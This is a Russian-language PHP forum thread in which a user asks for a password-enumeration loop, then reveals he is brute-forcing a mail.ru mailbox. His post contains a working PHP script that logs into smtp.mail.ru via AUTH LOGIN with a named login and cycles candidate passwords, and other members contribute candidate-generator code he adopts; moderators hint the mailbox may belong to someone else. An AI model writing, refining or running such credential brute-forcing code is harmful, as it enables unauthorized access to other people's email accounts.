За последние 24 часа нас посетили 66787 программистов и 1638 роботов. Сейчас ищут 935 программистов ...

Перебор массива

Тема в разделе "PHP для новичков", создана пользователем EndoCrinolog, 29 янв 2014.

  1. EndoCrinolog

    EndoCrinolog Активный пользователь

    С нами с:
    4 фев 2012
    Сообщения:
    205
    Симпатии:
    1
    Адрес:
    Тольятти
    Помогите, пожалуйста с написанием скрипта перебора массива.
    Допустим, есть массив:
    Код (Text):
    1. $SYMBOLS = array("a","b","c","d","e","f","g");
    И есть изначально заданное количество символов в строке
    Код (Text):
    1. $N = 5;
    Нужно чтобы код создавал строку из пяти символов массива, а когда эти циклы по символам закончат перебор (будет строка ggggg), произойдет инкремент $N и потом всё начнется заново уже до gggggg.
    Заранее, премного благодарен
     
  2. MaXyC_Web_Studio

    MaXyC_Web_Studio Активный пользователь

    С нами с:
    31 дек 2006
    Сообщения:
    678
    Симпатии:
    3
    Адрес:
    Новоуральск
    не понял. примеры строк
     
  3. VLK

    VLK Старожил

    С нами с:
    15 дек 2013
    Сообщения:
    3.010
    Симпатии:
    58
    Код (Text):
    1. <?php
    2.  
    3. $SYMBOLS = array('a','b','c','d','e','f','g');
    4. $N = 5;
    5.  
    6. $i = sizeof($SYMBOLS);
    7. for ( ; $i >= 0; $i--, $N--)
    8. {
    9.  
    10. $temp = '';  
    11. $i2 = $N;
    12.    
    13. for ( ; $i2 >= 0; $i2--) $temp = $temp . $SYMBOLS[$i] ;
    14.    
    15. echo '<p>' . $temp . '</p>';
    16.    
    17. }
    18.  
    19. ?>
     
  4. igordata

    igordata Суперстар
    Команда форума Модератор

    С нами с:
    18 мар 2010
    Сообщения:
    32.408
    Симпатии:
    1.768
    брутфорс пилишь, братишка? :D
     
  5. Your

    Your Старожил

    С нами с:
    2 июл 2011
    Сообщения:
    4.074
    Симпатии:
    7
    :F, и нах?
     
  6. EndoCrinolog

    EndoCrinolog Активный пользователь

    С нами с:
    4 фев 2012
    Сообщения:
    205
    Симпатии:
    1
    Адрес:
    Тольятти
    Почти верно. Вот результат работы:
    А должен быть таким:
    Такое возможно осуществить?

    Добавлено спустя 41 секунду:
    Конечно, пароль от мыла вспоминаю :) через smtp авторизовываюсь))
     
  7. runcore

    runcore Старожил

    С нами с:
    12 окт 2012
    Сообщения:
    3.625
    Симпатии:
    158
    Код (PHP):
    1. $s = 'aaaa';
    2. $bad = join('',range('h','z'));
    3. while($s!='gggg') {
    4.  if (strpbrk(++$s, $bad)) continue;
    5.  echo $s.'<br>';
    6. }
    намеренно оставил по четыре символа 'aaaa' и 'gggg', ибо если делать больше то время работы и кол-ва вариантов становится очень много )
     
  8. VLK

    VLK Старожил

    С нами с:
    15 дек 2013
    Сообщения:
    3.010
    Симпатии:
    58
    Мутное описание, пароль как я понял из 5 символов, он просто из 5 символов или он имеет определённые формат типа сначала 4 буквы одинаковые "аааа", а потом идет еще какая то другая буква например "b" и в итоге получается пароль : "ааааb"

    и по буквам вопрос, там все буквы алфавита или определённые, а цифры есть?
    Говорить правду и более подробно - залог успеха, в конце концов мы не знаем ваш эл. адрес и взломать его его не сможем.
     
  9. EndoCrinolog

    EndoCrinolog Активный пользователь

    С нами с:
    4 фев 2012
    Сообщения:
    205
    Симпатии:
    1
    Адрес:
    Тольятти
    Дело в том, что я пишу брутфорс. Это понятно. Есть массив с символами, которые я употреблял при написании:
    Код (Text):
    1. $SYMBOLS = array("a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z","0","1","2","3","4","5","6","7","8","9","");
    Затем я сделал ахиренные циклы, когда к переменной $password добавляется новый символ из массива. Вот этот монстр:
    Код (Text):
    1. function get_data($smtp_conn)
    2. {
    3.   $data="";
    4.   while($str = fgets($smtp_conn,515))
    5.   {
    6.     $data .= $str;
    7.     if(substr($str,3,1) == " ") { break; }
    8.   }
    9.   return $data;
    10. }
    11.  
    12. $NUMBER = 6;
    13.  
    14.  
    15. $login = "ciguljara";
    16. $password = "";
    17.  
    18. for ($i1=0; $i1<count($SYMBOLS); $i1++){ // i1
    19. for ($i2=0; $i2<count($SYMBOLS); $i2++){ // i2
    20. for ($i3=0; $i3<count($SYMBOLS); $i3++){ // i3
    21. for ($i4=0; $i4<count($SYMBOLS); $i4++){ // i4
    22. for ($i5=0; $i5<count($SYMBOLS); $i5++){ // i5
    23. for ($i6=0; $i6<count($SYMBOLS); $i6++){ // i6
    24. for ($i7=0; $i7<count($SYMBOLS); $i7++){ // i7
    25. for ($i8=0; $i8<count($SYMBOLS); $i8++){ // i8
    26. for ($i9=0; $i9<count($SYMBOLS); $i9++){ // i9
    27. for ($i10=0; $i10<count($SYMBOLS); $i10++){ // i10
    28. for ($i11=0; $i11<count($SYMBOLS); $i11++){ // i11
    29. for ($i12=0; $i12<count($SYMBOLS); $i12++){ // i12
    30. for ($i13=0; $i13<count($SYMBOLS); $i13++){ // i13
    31. for ($i14=0; $i14<count($SYMBOLS); $i14++){ // i14
    32. for ($i15=0; $i15<count($SYMBOLS); $i15++){ // i15
    33. for ($i16=0; $i16<count($SYMBOLS); $i16++){ // i16
    34. for ($i17=0; $i17<count($SYMBOLS); $i17++){ // i17
    35. for ($i18=0; $i18<count($SYMBOLS); $i18++){ // i18
    36. for ($i19=0; $i19<count($SYMBOLS); $i19++){ // i19
    37. for ($i20=0; $i20<count($SYMBOLS); $i20++){ // i20
    38.  
    39. $password = $SYMBOLS[$i1] . $SYMBOLS[$i2] . $SYMBOLS[$i3] . $SYMBOLS[$i4] . $SYMBOLS[$i5] . $SYMBOLS[$i6] . $SYMBOLS[$i7] . $SYMBOLS[$i8] . $SYMBOLS[$i9] . $SYMBOLS[$i10] . $SYMBOLS[$i11] . $SYMBOLS[$i12] . $SYMBOLS[$i13] . $SYMBOLS[$i14] . $SYMBOLS[$i15] . $SYMBOLS[$i16] . $SYMBOLS[$i17] . $SYMBOLS[$i18] . $SYMBOLS[$i19] . $SYMBOLS[$i20];
    40.  
    41. $smtp_conn = fsockopen("smtp.mail.ru",25,$errno, $errstr, 10);
    42. if(!$smtp_conn) { // 1
    43. print "соединение с серверов не прошло";
    44. fclose($smtp_conn);
    45. exit;
    46. } else { // 1
    47.  
    48. $data = get_data($smtp_conn);
    49. fputs($smtp_conn,"EHLO vasya\r\n");
    50. $code = substr(get_data($smtp_conn),0,3);
    51. if($code != 250) { // 2
    52. print "ошибка приветсвия EHLO";
    53. fclose($smtp_conn);
    54. exit;
    55. } else { // 2
    56.  
    57. fputs($smtp_conn,"AUTH LOGIN\r\n");
    58. $code = substr(get_data($smtp_conn),0,3);
    59. if($code != 334) { // 3
    60. print "сервер не разрешил начать авторизацию";
    61. fclose($smtp_conn);
    62. exit;
    63. } else { // 3
    64.  
    65. fputs($smtp_conn,base64_encode($login)."\r\n");
    66. $code = substr(get_data($smtp_conn),0,3);
    67. if($code != 334) { // 4
    68. print "ошибка доступа к такому юзеру";
    69. fclose($smtp_conn);
    70. exit;
    71. } else { // 4
    72.  
    73. fputs($smtp_conn,base64_encode($password)."\r\n");
    74. $code = substr(get_data($smtp_conn),0,3);
    75. if($code != 235) { // 5
    76.  
    77. fputs($smtp_conn,"QUIT\r\n");
    78. fclose($smtp_conn);
    79.  
    80. echo <<<EOD
    81. <small><small>
    82. <b>Пароль:</b> $password<br/>
    83. <b>СТАТУС:</b> пароль неверный
    84. </small></small>
    85. <hr/>
    86. EOD;
    87.  
    88. } else { // 5
    89.  
    90. fputs($smtp_conn,"QUIT\r\n");
    91. fclose($smtp_conn);
    92.  
    93. echo <<<EOD
    94. <small><small>
    95. <b>Пароль:</b> $password - ПАРОЛЬ ПОДОБРАН<br/>
    96. </small></small>
    97. <hr/>
    98. EOD;
    99.  
    100. exit;
    101.  
    102. } // 5
    103.  
    104. } // 4
    105.  
    106. } // 3
    107.  
    108. } // 2
    109.  
    110. } // 1
    111.  
    112. flush();
    113. sleep(1);
    114.  
    115. } // i20
    116. } // i19
    117. } // i18
    118. } // i17
    119. } // i16
    120. } // i15
    121. } // i14
    122. } // i13
    123. } // i12
    124. } // i11
    125. } // i10
    126. } // i9
    127. } // i8
    128. } // i7
    129. } // i6
    130. } // i5
    131. } // i4
    132. } // i3
    133. } // i2
    134. } // i1
    Но его проблемы в том, что:
    1) Это не рационально
    2) Подбор начинается с а, потом b, через пару часов aaa, aab, но я же сразу писал пароль больше, чем 1, 2,3,4 и тем более 5 символов...
    Поэтому я хочу сделать код, который будет проверять сразу, начиная от aaaaaa (6), и, с учетом массива $SYMBOLS, заканчивать 999999, потом начнет aaaaaaa (7) и заканчивать 9999999 и т.д., пока он не найдет мой пароль.
    Вот примерно такой алгоритм...
    Это вообще реально, я так понимаю?
     
  10. VLK

    VLK Старожил

    С нами с:
    15 дек 2013
    Сообщения:
    3.010
    Симпатии:
    58
    А перебор откуда осуществляется? домашний компьютер? может сервер какой то? получается что бы устроить такой перебор нужно что бы источник работал от начала и до конца перебора, а это получается как минимум от недели.
     
  11. EndoCrinolog

    EndoCrinolog Активный пользователь

    С нами с:
    4 фев 2012
    Сообщения:
    205
    Симпатии:
    1
    Адрес:
    Тольятти
    Об этом не беспокойтесь, я с денвера. Мне главное механизм запилить нужно
     
  12. VLK

    VLK Старожил

    С нами с:
    15 дек 2013
    Сообщения:
    3.010
    Симпатии:
    58
    и еще такой вопрос, я не смотрел код, лень, а если задавать длину пароля изначально и запускать несколько экземпляров с разной длинной пароля, но оно будет начинаться a, далее b ну а заканчивать w (или что там, я даже алфавита не знаю, причем не только английского..)?

    и не будет ли более удобным сделать программу которая создаст потенциальные пароли на каком то другом языке, а для проверки использовать готовые варианты, подгружать их из файла
     
  13. smitt

    smitt Старожил

    С нами с:
    3 янв 2012
    Сообщения:
    3.166
    Симпатии:
    65
    Есть готовые приложения для брутфорса, не трать время не это.
     
  14. igordata

    igordata Суперстар
    Команда форума Модератор

    С нами с:
    18 мар 2010
    Сообщения:
    32.408
    Симпатии:
    1.768
    Код (PHP):
    1. <?php
    2. $chars = ['a', 'b', 'x', '1'];
    3. $word = '1a';
    4. if (empty($word)) {
    5.   $pointers = [0];
    6. } else {
    7.   $we = str_split($word);
    8.   $we = array_reverse($we);
    9.   //$pointers[0] - правый символ
    10.   foreach ($we as $w) {
    11.     foreach ($chars as $ck => $cv) {
    12.       if ($w === $cv) {
    13.         $pointers[] = $ck;
    14.       }
    15.     }
    16.   }
    17. }
    18. $cmax = count($chars)-1;
    19. for ($i = 0; $i < 100; $i++) {
    20.   $pointers = iter($pointers, $cmax);
    21.   echo buildWord($pointers, $chars), '<br>';
    22. }
    23.  
    24. function buildWord($pointers, $chars) {
    25.   $word = '';
    26.   $pointers = array_reverse($pointers);
    27.   foreach ($pointers as $p) {
    28.     $word .= $chars[$p];
    29.   }
    30.   return $word;
    31. }
    32.  
    33. function iter($pointers, $cmax) {
    34.   $pointers[0]++;
    35.   reset($pointers);
    36.   $flag = true;
    37.   $index = 0;
    38.   do {
    39.     if ($pointers[$index] <= $cmax) {
    40.       $flag = false;
    41.     } else {
    42.       $pointers[$index] = 0;
    43.       if (!isset($pointers[$index + 1])) {
    44.         $pointers[$index + 1] = 0;
    45.       }
    46.       $pointers[$index + 1]++;
    47.     }
    48.     $index++;
    49.   } while ($flag == true);
    50.   return $pointers;
    51. } 
     
  15. EndoCrinolog

    EndoCrinolog Активный пользователь

    С нами с:
    4 фев 2012
    Сообщения:
    205
    Симпатии:
    1
    Адрес:
    Тольятти
    Огромное спасибо! Если надо - могу полный исходник выложить
     
  16. igordata

    igordata Суперстар
    Команда форума Модератор

    С нами с:
    18 мар 2010
    Сообщения:
    32.408
    Симпатии:
    1.768
    ой да ну ладно, не надо тут школьников дразнить :D а то как станут хакерами направо и налево

    че ломаешь скажи лучше, интересно же ж.
    и как тебя не банят на smtp-сервере?
     
  17. EndoCrinolog

    EndoCrinolog Активный пользователь

    С нами с:
    4 фев 2012
    Сообщения:
    205
    Симпатии:
    1
    Адрес:
    Тольятти
    Да ящик на мэйле :)) не знаю, как не банят.. вроде проверяю свои настоящие изредка - всё нормально
     
  18. igordata

    igordata Суперстар
    Команда форума Модератор

    С нами с:
    18 мар 2010
    Сообщения:
    32.408
    Симпатии:
    1.768
    Интересно, сколько займёт.
     
  19. runcore

    runcore Старожил

    С нами с:
    12 окт 2012
    Сообщения:
    3.625
    Симпатии:
    158
    чем мой вариант не нравится?
     
  20. EndoCrinolog

    EndoCrinolog Активный пользователь

    С нами с:
    4 фев 2012
    Сообщения:
    205
    Симпатии:
    1
    Адрес:
    Тольятти
    Тем, что он не добавляет в конец еще один символ, когда заканчивает эти. И да, в нем нет цифр. И отсутствует массив. А мне нужно перебирать именно массив с указанными символами. Поэтому вариант igordata более адекватен.
    Сам код уже работает. Опробовал на одном из своих ящиков - подобрал. Правда, я только неправильно последние 2 символа ввел, но но нашел и подобрал их :) Так что - код вполне рабочий. Сделал еще промежуточное сохранение строки пароля в файл, чтобы он начинал перебор с последней комбинации. Так что - буду брутфорсить :)
     
  21. Your

    Your Старожил

    С нами с:
    2 июл 2011
    Сообщения:
    4.074
    Симпатии:
    7
    Я когда забыл пасс, я в службу поддержки шумел, они помогли.
     
  22. runcore

    runcore Старожил

    С нами с:
    12 окт 2012
    Сообщения:
    3.625
    Симпатии:
    158
    где обо всем этом речь в первом вашем посте?
    вам задавали уточняющие вопросы но в ответ вы опятьже приводили примеры про aaaaa и gggggg
    так что совсем неудивительно что представленное решение вам неподходит. оно решает задачу которую вы озвучили. а то что на самом деле вам нужно совсем другое вам уже igordata продемонстрировал.
     
  23. Fell-x27

    Fell-x27 Суперстар
    Команда форума Модератор

    С нами с:
    25 июл 2013
    Сообщения:
    12.156
    Симпатии:
    1.771
    Адрес:
    :сердА
    Угу. Ты забыл пасс от своего ящика. А тут, сдается мне, "забыли" пасс от чужого :) Поддержка не обрадуется.
     
  24. Your

    Your Старожил

    С нами с:
    2 июл 2011
    Сообщения:
    4.074
    Симпатии:
    7
     
  25. VLK

    VLK Старожил

    С нами с:
    15 дек 2013
    Сообщения:
    3.010
    Симпатии:
    58
    Я вот такой код накидал, класс, объект класса (конструктор) принимает 2 параметра, массив символов из которых будет происходить подбор паролей и длинна пароля, по коду все подобранные пароли записывает в массив, но можно доработать функцию (act) которая записывает в массив, что бы она делала с паролем еще что то..

    Код (Text):
    1. <?php
    2.  
    3. class bf {
    4.  
    5. protected
    6. $array_chars, // массив символов из которых будут формироваться пароли
    7. $length_psw, // длина пароля
    8. $temp_psw, // массив, в котором хранится обробатываемый пароль
    9. $data, // массив в котором хранятся все сгенерированные пароли
    10. $flag_last_position, // length_psw-1 для одно из функций, что бы каждый раз не выполнять подсчет
    11. $length_array_chars; // для одной из функции, что бы каждый раз не выполнять sizeof ($this->array_chars)
    12.  
    13.  
    14. public function __construct($array_chars, $length_psw) {
    15.  
    16. $this->array_chars = $array_chars;
    17. $this->length_psw = $length_psw;
    18.  
    19. $this->data = array();
    20. $this->temp_psw = array();
    21.  
    22. $this->flag_last_position = $this->length_psw - 1;
    23. $this->length_array_chars = sizeof ($this->array_chars);
    24.  
    25. for ($i = 0; $i < $this->flag_last_position; $i++)
    26. { $this->temp_psw[$i] = $this->array_chars[0]; }
    27.  
    28. }
    29.  
    30.  
    31. protected function act () {
    32. $this->data[ sizeof($this->data) ] = implode ($this->temp_psw);
    33. }
    34.  
    35.  
    36. protected function worked($position = 0) {
    37.  
    38. for ($i = 0; $i < $this->length_array_chars; $i++)
    39. {
    40. $this->temp_psw[$position] = $this->array_chars[$i];
    41.  
    42. if ( $position < $this->flag_last_position ) { $this->worked($position +1); }
    43. else { $this->act();  }
    44.  
    45. }
    46.  
    47. }
    48.  
    49.  
    50. public function start_bf() {
    51.  
    52. if ( sizeof($this->array_chars) > 0 && $this->length_psw > 0 ) { $this->worked(); }
    53.  
    54. else { die('Ошибка, параметры заданы не верно! Массив символов или длина пароля.'); }
    55.  
    56. }
    57.  
    58.  
    59. public function get_data() { return $this->data; }
    60.  
    61. }
    62.  
    63.  
    64. $arr = array(
    65. '1', '2', '3', '4', '5', '6', '7', '8', '9', '0',
    66. 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',
    67. 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z',
    68. 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N',
    69. 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'
    70. );
    71.  
    72. $temp = new bf($arr, 3);
    73.  
    74. $temp->start_bf();
    75.  
    76. $res = $temp->get_data();
    77.  
    78. echo '<p>' . sizeof($res) . '</p>';
    79.  
    80.  
    81.  
    82. ?>
    Перебор осуществляется так, если есть массив '1', '2', '3' то начинаться будет с 111, 112, а заканчиваться с 332, 333.

    Так же нет опции продолжить с определенного пароля.